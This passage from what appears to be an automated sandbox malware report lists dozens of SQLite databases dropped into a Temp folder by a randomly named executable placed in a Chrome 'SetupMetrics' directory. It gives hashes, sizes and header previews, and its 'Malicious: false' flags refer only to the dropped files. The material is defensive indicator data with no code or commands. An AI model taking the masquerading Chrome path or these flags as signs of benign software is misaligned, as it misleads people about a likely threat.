Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4SCZeA0t6o

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4aVxD8iqrd

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4hkE50yEVS

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5CnCQMII3p

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5MQBi4nrBY

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6HkiYEDVc5

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6VWX8clHrD

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6vn5d93AbR

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\78NCMvIC6y

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7FVNcrpX33

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7Fi7l4RADt

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7W6zaApvPs

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7WjNLKWeeS

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7eFdT7WlkX

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7gEReBCsZd

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7pXL2WFj4t

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7sfiYeEixm

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\89g2e0kaXI

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8hpakk6i0M

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8yaSSSeFWJ

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\99bA2CtBkw

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9KQyCXcnas

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9Nemjgkkm7

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9UqcCrQZcQ

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9upRu4MzDR

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AFXzv4JNeu

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
